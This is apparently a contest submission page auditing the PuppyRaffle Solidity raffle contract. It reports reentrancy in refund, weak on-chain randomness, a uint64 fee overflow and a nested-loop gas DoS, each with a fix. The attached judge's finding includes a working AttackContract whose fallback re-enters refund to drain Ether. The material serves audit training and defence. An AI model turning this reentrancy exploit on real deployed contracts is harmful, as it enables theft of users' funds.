Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

PuppyRaffle - Security audit

PuppyRaffle Security Audit

Executive Summary

Audit of PuppyRaffle contract revealing 3 high severity vulnerabilities.

Scope

  • File: src/PuppyRaffle.sol

Risk Rating

High Risk

High Severity Issues

H-1: Reentrancy in refund Function

Description

  • Function sends funds before updating state, violating checks-effects-interactions pattern.

@> payable(msg.sender).sendValue(entranceFee); // Funds sent BEFORE state update
@> players[playerIndex] = address(0); // State updated AFTER interaction

Risk

Likelihood: Malicious contract reenters during refund call.
Impact: Attacker drains all refundable funds.

Proof of Concept

Malicious contract calls refund with a fallback that reenters the function, claiming multiple refunds before state is updated.

Recommended Mitigation

Update state before sending funds to prevent reentrancy.

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);

H-2: Predictable Randomness in selectWinner

Description

  • Function uses block.difficulty and block.timestamp for randomness.

  • These values are manipulable by miners.

@>uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Risk

Likelihood: Miner participant predicts and manipulates outcomes.
Impact: Miner unfairly wins, undermining raffle fairness.

Proof of Concept

Miner calculates hash with known values to predict winner, then chooses whether to mine the block based on outcome.

Recommended Mitigation

Use Chainlink VRF for secure randomness instead of predictable block values.

-uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+uint256 winnerIndex = getRandomNumber() % players.length; // Chainlink VRF

H-3: Integer Overflow in selectWinner

Description

  • Function calculates fees as uint256 but casts to uint64, causing overflow.

@>totalFees = totalFees + uint64(fee); // Vulnerable to overflow

Risk

Likelihood: When fees exceed uint64.max (2^64-1).
Impact: Incorrect fee tracking, financial loss.

Proof of Concept

When fees exceed uint64.max, value wraps to smaller number causing incorrect tracking.

Recommended Mitigation

Use consistent uint256 type to prevent overflow.

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;

// Change totalFees declaration to uint256

Medium Severity Issue

M-1: DoS via Gas in enterRaffle

Description

  • Function uses O(n²) nested loops for duplicate checks.

@>for (uint256 i = 0; i < players.length - 1; i++) {
@> for (uint256 j = i + 1; j < players.length; j++) {
@> require(players[i] != players[j], "PuppyRaffle: Duplicate player");
@> }
@>}

Risk

Likelihood: When player count becomes large.
Impact: Prohibitively expensive for late entrants.

Proof of Concept

Gas cost for 200 players is 3x higher than for first 100 players.

Recommended Mitigation

Use mapping for O(1) duplicate checks instead of nested loops.

- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
- }
+ mapping(address => bool) public hasEntered;
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(!hasEntered[newPlayers[i]], "PuppyRaffle: Duplicate player");
+ hasEntered[newPlayers[i]] = true;
+ }

Conclusion

Critical vulnerabilities require immediate fixes before deployment.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!